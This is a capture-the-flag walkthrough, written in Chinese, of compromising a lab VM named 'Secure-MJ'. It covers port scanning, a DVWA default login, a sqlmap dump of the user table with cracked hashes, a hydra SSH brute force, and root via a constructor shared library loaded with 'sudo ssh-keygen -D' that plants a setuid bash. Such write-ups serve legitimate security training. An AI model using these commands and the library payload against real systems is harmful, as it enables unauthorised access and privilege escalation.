Secure-MJ

信息收集

```
┌──(root㉿SPX-2017)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 16:25 CST
Nmap scan report for 192.168.2.102 (192.168.2.102)
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:AA:43:D3 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 12.11 seconds

┌──(root㉿SPX-2017)-[/tmp/test]
└─# nmap -sU --top-ports 20 192.168.2.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 16:25 CST
Nmap scan report for 192.168.2.102 (192.168.2.102)
Host is up (0.00096s latency).

PORT     STATE         SERVICE
53/udp   closed        domain
67/udp   open|filtered dhcps
68/udp   open|filtered dhcpc
69/udp   closed        tftp
123/udp  open|filtered ntp
135/udp  open|filtered msrpc
137/udp  closed        netbios-ns
138/udp  closed        netbios-dgm
139/udp  closed        netbios-ssn
161/udp  open|filtered snmp
162/udp  closed        snmptrap
445/udp  closed        microsoft-ds
500/udp  open|filtered isakmp
514/udp  closed        syslog
520/udp  open|filtered route
631/udp  closed        ipp
1434/udp closed        ms-sql-m
1900/udp open|filtered upnp
```

```
4500/udp  closed        nat-t-ike
49152/udp closed        unknown
MAC Address: 08:00:27:AA:43:D3 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
```

仅此而已了

```
┌──(root㉿SPX-2017)-[/tmp/test]
└─# dirsearch -u http://192.168.2.102/

[16:27:15] 302 -    0B  - /dvwa/  ->  login.php
[16:27:16] 200 -    7B  - /file.php
[16:27:21] 200 -   23KB - /phpinfo.php
```

有个dvwa，弱密码是`admin:password`
进来难度拉到最低弹个shell就行,不过数据库也可以注一手，看看有没有信息

```
┌──(root㉿SPX-2017)-[/tmp/test]
└─# sqlmap -u 'http://192.168.2.102/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit' --cookie='PHPSESSID=4ufjm6o9i7s26f198t7145o3pp;
security=low' --batch --dump
1       | admin   | /dvwa/hackable/users/admin.jpg   |
5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2025-
11-29 06:43:35 | 0            |
| 2       | gordonb | /dvwa/hackable/users/gordonb.jpg |
e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2025-
11-29 06:43:35 | 0            |
| 3       | 1337    | /dvwa/hackable/users/1337.jpg    |
8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2025-
11-29 06:43:35 | 0            |
| 4       | pablo   | /dvwa/hackable/users/pablo.jpg   |
0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2025-
11-29 06:43:35 | 0            |
| 5       | smithy  | /dvwa/hackable/users/smithy.jpg  |
5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2025-
11-29 06:43:35 | 0
```

不过没什么信息，都是自带的弱密码

提权

lzh

可以看到sshd_config里的配置不允许root登录，公钥读，并且也关闭了权限检查

StrictModes=no：
禁用对用户 ~/.ssh 和 authorized_keys 文件的权限、所属者检查。
SSH 将忽略所有安全性问题，继续接受公钥。

```
PermitRootLogin no
AuthorizedKeysFile      /tmp/authorized_keys2
StrictModes no
```

按理说是www-data写个文件其他都可以连，但是这里开启了apache2的tmp隔离
所以写的tmp下的文件，并不在真实系统里面，所以得拿到个用户，ssh到真的里面去

tmp隔离不仅apache其他服务也会有

```
www-data@Secure:/tmp$ mount | grep tmp
mount | grep tmp
udev on /dev type devtmpfs
(rw,nosuid,relatime,size=1006820k,nr_inodes=251705,mode=755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=204340k,mode=755)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /run/credentials type tmpfs
(ro,nosuid,noexec,relatime,size=204340k,mode=755)
/dev/sda1 on /tmp type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /var/tmp type ext4 (rw,relatime,errors=remount-ro)
tmpfs on /run/user/1004 type tmpfs
(rw,nosuid,nodev,relatime,size=204336k,nr_inodes=51084,mode=700,uid=1004,gid=1
004)
```

可以看到

爆破也有个小细节，nsr 针对 **密码变形（password mutation）** 的三个快捷选项

- **n** → 尝试 **空密码（null password）**
- **s** → 尝试 **用户名作为密码（same password）**
- **r** → 尝试 **反向用户名作为密码（reversed password）**

```
┌──(root㉿SPX-2017)-[/tmp/test]
└─# hydra -l lzh -P /usr/share/wordlists/passwd-top1000.txt -e nsr
192.168.2.102 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is
non-binding, these *** ignore laws and ethics anyway).
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-01
16:48:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1003 login tries
(l:1/p:1003), ~63 tries per task
[DATA] attacking ssh://192.168.2.102:22/
[22][ssh] host: 192.168.2.102   login: lzh   password: hzl
```

拿到lzh密码，进到tmp写公钥就可以连用户了

root

最后在one3找到sudo权限

```
one3@Secure:~$ sudo -l
Matching Defaults entries for one3 on Secure:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User one3 may run the following commands on Secure:
    (ALL) NOPASSWD: /usr/bin/ssh-keygen
```

下面就简单了，写个动态库，不过得包括C_GetFunctionList，这样才有**PKCS#11 模块**检查才能过

```
#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) init() {
    system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash");
}

void *C_GetFunctionList() {
    return NULL;
}
```

```
one3@Secure:~$ gcc -shared -fPIC -o lib.so evil.c
one3@Secure:~$ sudo ssh-keygen -D ./lib.so
Segmentation fault
one3@Secure:~$ ls -al /tmp/
total 1188
```

```
drwxrwxrwt 10 root root    4096 Dec  1 03:58 .
drwxr-xr-x 19 root root    4096 Nov 29 07:25 ..
-rw-r--r--  1 lzh  lzh      395 Dec  1 03:08 authorized_keys2
drwxrwxrwt  2 root root    4096 Dec  1 01:03 .font-unix
drwxrwxrwt  2 root root    4096 Dec  1 01:03 .ICE-unix
-rwsr-sr-x  1 root root 1168776 Dec  1 03:58 rootbash
drwx------  3 root root    4096 Dec  1 01:03 systemd-private-
c943a458d6ca48d5b55d98659b0ca96d-apache2.service-r2PkCg
drwx------  3 root root    4096 Dec  1 01:03 systemd-private-
c943a458d6ca48d5b55d98659b0ca96d-systemd-logind.service-Lekfef
drwx------  3 root root    4096 Dec  1 01:03 systemd-private-
c943a458d6ca48d5b55d98659b0ca96d-systemd-timesyncd.service-9fkWfj
drwxrwxrwt  2 root root    4096 Dec  1 01:03 .Test-unix
drwxrwxrwt  2 root root    4096 Dec  1 01:03 .X11-unix
drwxrwxrwt  2 root root    4096 Dec  1 01:03 .XIM-unix
one3@Secure:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1004(one3) gid=1004(one3) euid=0(root) egid=0(root)
groups=0(root),1004(one3)
rootbash-5.0#
```

拿到root

```
rootbash-5.0# find / -iname "*authorized_keys*"
/root/.ssh/authorized_keys
/root/.ssh/authorized_keys.pub
/usr/share/man/man5/authorized_keys.5.gz
/tmp/authorized_keys2
/tmp/systemd-private-c943a458d6ca48d5b55d98659b0ca96d-apache2.service-
r2PkCg/tmp/authorized_keys2
```

可以看到之前写的在这